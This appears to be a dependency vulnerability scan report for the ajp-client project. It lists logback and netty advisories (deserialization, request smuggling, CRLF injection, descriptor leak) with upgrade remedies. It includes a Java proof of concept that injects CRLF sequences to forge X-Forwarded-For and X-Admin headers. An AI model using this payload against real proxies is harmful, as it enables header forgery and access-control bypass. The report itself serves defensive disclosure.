Affected versions of this package are vulnerable to Deserialization of Untrusted Data in HardenedObjectInputStream, whose resolveClass allowlist admitted any class whose name starts with java.lang or java.util rather than matching specific authorized classes. An attacker can instantiate dangerous classes such as java.lang.ProcessBuilder during deserialization, reaching remote code execution through a gadget chain, by delivering a malicious serialized object to a logback component that deserializes it, such as its socket receiver for serialized logging events (SocketNode). Exploitation requires the application to deserialize attacker-controlled serialized data through logback, in practice via its socket-based receiver, together with a usable gadget class on the classpath.

Workaround

This vulnerability can be avoided by not exposing logback's socket-based serialized receivers, such as SocketReceiver and ServerSocketReceiver, to untrusted networks, which removes the path by which attacker-controlled serialized objects reach the deserialization filter.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade ch.qos.logback:logback-classic to version 1.5.33 or higher.

References

medium severity
new

Deserialization of Untrusted Data

  • Vulnerable module: ch.qos.logback:logback-core
  • Introduced through: ch.qos.logback:logback-classic@1.3.15

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client ch.qos.logback:logback-classic@1.3.15 ch.qos.logback:logback-core@1.3.15
    Remediation: Upgrade to ch.qos.logback:logback-classic@1.5.33.

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data in HardenedObjectInputStream, whose resolveClass allowlist admitted any class whose name starts with java.lang or java.util rather than matching specific authorized classes. An attacker can instantiate dangerous classes such as java.lang.ProcessBuilder during deserialization, reaching remote code execution through a gadget chain, by delivering a malicious serialized object to a logback component that deserializes it, such as its socket receiver for serialized logging events (SocketNode). Exploitation requires the application to deserialize attacker-controlled serialized data through logback, in practice via its socket-based receiver, together with a usable gadget class on the classpath.

Workaround

This vulnerability can be avoided by not exposing logback's socket-based serialized receivers, such as SocketReceiver and ServerSocketReceiver, to untrusted networks, which removes the path by which attacker-controlled serialized objects reach the deserialization filter.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade ch.qos.logback:logback-core to version 1.5.33 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.133.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the setUri function. An attacker can inject arbitrary CRLF sequences into the HTTP or RTSP request line by supplying crafted input to setUri, leading to the creation of additional requests or manipulation of request boundaries when the object is serialized by HttpRequestEncoder or RtspEncoder. This can result in request smuggling, desynchronization, or unauthorized access to internal APIs if attacker-controlled input is passed to setUri and subsequently encoded.

Note:

This is only exploitable if all of the following conditions are met:

  • The application uses DefaultHttpRequest or DefaultFullHttpRequest;

  • The request object is created first and later modified through setUri();

  • The value passed into setUri() is attacker-controlled or attacker-influenced;

  • The object is eventually serialized by HttpRequestEncoder or RtspEncoder.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity
new

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the WebSocket handshake. An attacker can bypass expected header validation by sending a Sec-WebSocket-Version: 7 header while omitting the Connection: Upgrade and Upgrade: websocket headers, which may result in a protocol switch that is not recognized by intermediary proxies, potentially enabling HTTP request smuggling or protocol confusion attacks.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity

CRLF Injection

  • Vulnerable module: io.netty:netty-handler-proxy
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-handler-proxy@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.133.Final.

Overview

Affected versions of this package are vulnerable to CRLF Injection in the newInitialMessage function of HttpProxyHandler when header validation is explicitly disabled and user-influenced outboundHeaders are added without sanitization. An attacker can inject arbitrary HTTP headers into proxy requests by supplying malicious header values containing CRLF sequences.

Notes:

  • This is only exploitable if the application uses HttpProxyHandler with user-influenced outboundHeaders and does not perform its own CRLF sanitization on header values.

  • This is caused due to an incomplete fix for CVE-2025-67735.

PoC

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;

public class HttpProxyHeaderInjectionPoC {
    public static void main(String[] args) {
        System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");

        // Simulate HttpProxyHandler.newInitialMessage() with validation=false
        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
            .withValidation(false);

        FullHttpRequest req = new DefaultFullHttpRequest(
            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
            "target.com:443",
            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

        req.headers().set(HttpHeaderNames.HOST, "target.com:443");

        // Inject CRLF in header value
        String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
        req.headers().set("X-Forwarded-For", malicious);

        // Encode to wire format
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
        ch.writeOutbound(req);
        ByteBuf out = ch.readOutbound();
        String encoded = out.toString(StandardCharsets.UTF_8);
        out.release();
        ch.finishAndReleaseAll();

        System.out.println("Wire format:");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }
        System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
        System.out.println("VULNERABLE: " +
            (encoded.contains("X-Admin: true") ? "YES" : "NO"));
    }
}

Remediation

Upgrade io.netty:netty-handler-proxy to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity

External Initialization of Trusted Variables or Data Stores

  • Vulnerable module: ch.qos.logback:logback-core
  • Introduced through: ch.qos.logback:logback-classic@1.3.15

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client ch.qos.logback:logback-classic@1.3.15 ch.qos.logback:logback-core@1.3.15
    Remediation: Upgrade to ch.qos.logback:logback-classic@1.3.16.

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to External Initialization of Trusted Variables or Data Stores via the conditional processing of the logback.xml configuration file when both the Janino library and Spring Framework are present on the class path. An attacker can execute arbitrary code by compromising an existing configuration file or injecting a malicious environment variable before program execution. This is only exploitable if the attacker has write access to a configuration file or can set a malicious environment variable.

Remediation

Upgrade ch.qos.logback:logback-core to version 1.3.16, 1.5.19 or higher.

References

medium severity
new

CRLF Injection

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to CRLF Injection in the HttpPostRequestEncoder. An attacker can inject arbitrary MIME headers and manipulate multipart request bodies by supplying crafted filenames containing CRLF sequences. This can lead to overriding Content-Type headers, injecting malicious scripts, or altering form data processed by downstream services.

Note: This is only exploitable if the application uses the multipart encoder with filenames derived from user-controlled input and does not perform its own CRLF sanitization.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity
new

CRLF Injection

  • Vulnerable module: io.netty:netty-codec-haproxy
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-haproxy@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

Affected versions of this package are vulnerable to CRLF Injection via the encodeV1. An attacker can inject arbitrary CRLF sequences into AF_UNIX addresses by supplying specially crafted input, resulting in the creation of multiple PROXY protocol header lines. This can lead to client IP spoofing or manipulation of downstream server behavior by injecting unauthorized PROXY headers.

Note: This is only exploitable if user-controlled input is used as the AF_UNIX address in the construction of HAProxy V1 protocol headers and the encoded header is sent to a downstream server or load balancer.

Remediation

Upgrade io.netty:netty-codec-haproxy to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: io.netty:netty-transport-native-unix-common
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-transport-native-unix-common@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.135.Final.

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime in the netty_unix_socket_recvFd function. An attacker can cause file descriptor leaks by sending two file descriptors at once via a Unix domain socket, leading to resource exhaustion and potential denial of service.

Note:

This is only exploitable if the application opts into DomainSocketReadMode.FILE_DESCRIPTORS.

Remediation

Upgrade io.netty:netty-transport-native-unix-common to version 4.1.135.Final, 4.2.15.Final or higher.

References

medium severity

Dual license: EPL-1.0, LGPL-2.1

  • Module: ch.qos.logback:logback-classic
  • Introduced through: ch.qos.logback:logback-classic@1.3.15

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client ch.qos.logback:logback-classic@1.3.15

Dual license: EPL-1.0, LGPL-2.1

medium severity

Dual license: EPL-1.0, LGPL-2.1

  • Module: ch.qos.logback:logback-core
  • Introduced through: ch.qos.logback:logback-classic@1.3.15

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client ch.qos.logback:logback-classic@1.3.15 ch.qos.logback:logback-core@1.3.15

Dual license: EPL-1.0, LGPL-2.1

low severity

External Initialization of Trusted Variables or Data Stores

  • Vulnerable module: ch.qos.logback:logback-core
  • Introduced through: ch.qos.logback:logback-classic@1.3.15

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client ch.qos.logback:logback-classic@1.3.15 ch.qos.logback:logback-core@1.3.15
    Remediation: Upgrade to ch.qos.logback:logback-classic@1.5.25.

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to External Initialization of Trusted Variables or Data Stores during the configuration file processing. An attacker can instantiate arbitrary classes already present on the class path by compromising an existing configuration file.

Remediation

Upgrade ch.qos.logback:logback-core to version 1.5.25 or higher.

References